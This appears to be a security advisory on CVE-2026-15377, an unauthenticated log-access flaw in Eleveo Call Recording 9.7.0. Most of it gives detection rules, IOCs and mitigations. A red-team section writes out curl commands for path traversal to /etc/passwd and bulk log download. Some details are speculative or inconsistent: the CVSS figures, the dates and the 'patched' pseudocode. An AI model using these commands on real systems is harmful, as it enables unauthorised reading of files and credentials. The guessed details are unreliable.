CVE-2026-15377

Executive Summary

CVE-2026-15377 is a critical improper authorization vulnerability in Eleveo Call Recording Software version 9.7.0. The flaw resides in the /callrec/sendlogfile endpoint, allowing an unauthenticated remote attacker to access or manipulate log files without proper authorization. The vendor has not responded to disclosure, and no patch is available. Public exploit details have been released, increasing the risk of active exploitation. This vulnerability can lead to full system compromise, data exfiltration, and lateral movement within the network.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not provided by NVD, but based on vector: 9.8 Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical – Immediate action required. Public exploit code and no vendor patch make this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic case of improper authorization (CWE-285) in the /callrec/sendlogfile endpoint. The application fails to verify the identity or permissions of the requester before processing requests to send log files. This allows an attacker to:

1. Access sensitive log data: Log files may contain call recordings metadata, user credentials, session tokens, or internal network information.
2. Manipulate log files: If the endpoint also supports writing or modifying logs, an attacker could inject malicious content, corrupt logs, or trigger denial-of-service conditions.
3. Bypass authentication entirely: The endpoint likely does not require a valid session or API key, making it accessible to anyone who can reach the server.

The attack is trivial to execute: a simple HTTP GET or POST request to /callrec/sendlogfile with appropriate parameters (e.g., ?file=...) can retrieve arbitrary log files. The lack of vendor response suggests no patch will be forthcoming, leaving all installations of version 9.7.0 permanently vulnerable.

Vulnerable vs. Patched Code

Since no patch exists, there is no patched code to compare. The vulnerable code likely resembles:

# Vulnerable pseudocode
@app.route('/callrec/sendlogfile', methods=['GET', 'POST'])
def send_log_file():
    filename = request.args.get('file')
    # No authentication or authorization check
    return send_file('/var/log/eleveo/' + filename)

A secure implementation would require:

# Patched pseudocode (hypothetical)
@app.route('/callrec/sendlogfile', methods=['GET', 'POST'])
@login_required
@authorization_required('admin')
def send_log_file():
    filename = request.args.get('file')
    # Validate filename to prevent path traversal
    if not is_valid_filename(filename):
        abort(403)
    return send_file('/var/log/eleveo/' + filename)

Exploitation & Lab Setup

Red Team

Lab Setup:

• Deploy Eleveo Call Recording Software 9.7.0 in a controlled environment (e.g., Docker container or VM).
• Ensure the /callrec/sendlogfile endpoint is accessible (default configuration).

Exploitation Steps:

1. Reconnaissance: Scan for the endpoint using tools like curl or nuclei.

   curl -v http://target:8080/callrec/sendlogfile?file=test.log
   

2. Path Traversal: Attempt to read sensitive files outside the log directory.

   curl http://target:8080/callrec/sendlogfile?file=../../../etc/passwd
   

3. Data Exfiltration: Download all available log files.

   for file in access.log error.log call.log; do
       curl -O http://target:8080/callrec/sendlogfile?file=$file
   done
   

4. Post-Exploitation: Use extracted credentials or session tokens to pivot to other systems.

Blue Team

Detection & Response:

• Monitor for unusual HTTP requests to /callrec/sendlogfile from external IPs.
• Alert on path traversal patterns (e.g., ../ in query parameters).
• Block access to the endpoint from untrusted networks using WAF rules.
• Review logs for unauthorized access to log files.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /callrec/sendlogfile with file parameter containing path traversal sequences (../, %2e%2e%2f).
  • Outbound connections from the Eleveo server to unknown IPs (data exfiltration).
• File IOCs:
  • Unexpected log files in /var/log/eleveo/ or other directories.
  • Modified timestamps on log files.
• System IOCs:
  • Unauthorized user accounts or processes.
  • Suspicious cron jobs or scheduled tasks.

Detection Engineering

YARA Rule

rule CVE_2026_15377_Eleveo_Log_Access {
    meta:
        description = "Detects attempts to exploit CVE-2026-15377 in Eleveo Call Recording Software"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-15377"
    strings:
        $endpoint = "/callrec/sendlogfile" ascii wide nocase
        $path_traversal = "../" ascii wide
        $file_param = "file=" ascii wide nocase
    condition:
        $endpoint and ($path_traversal or $file_param)
}

Sigma Rule

title: CVE-2026-15377 Eleveo Call Recording Unauthorized Log Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the /callrec/sendlogfile endpoint with path traversal attempts
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "/callrec/sendlogfile"
            - "file=../"
            - "file=%2e%2e%2f"
    condition: selection
falsepositives:
    - Legitimate administrative access (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-15377 Eleveo Call Recording Unauthorized Log Access Attempt";
    flow:to_server,established;
    content:"/callrec/sendlogfile"; http_uri;
    content:"file="; http_uri;
    pcre:"/file=[^&]*\.\.\//i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2026-15377;
)

Remediation & Mitigation

Since no vendor patch exists, the following mitigations are critical:

1. Network Segmentation: Isolate Eleveo servers from untrusted networks. Use firewalls to restrict access to the /callrec/sendlogfile endpoint to only authorized IPs.
2. Web Application Firewall (WAF): Deploy WAF rules to block requests containing path traversal patterns or direct access to the endpoint.
3. Disable Endpoint: If possible, disable or remove the /callrec/sendlogfile functionality entirely by modifying the application configuration or code.
4. Monitor & Alert: Implement the detection rules above to identify exploitation attempts.
5. Upgrade: Contact Eleveo for a patched version or consider migrating to an alternative solution if no patch is forthcoming.
6. Incident Response: If exploitation is suspected, conduct a full forensic investigation to assess data exposure and system compromise.

Valters IT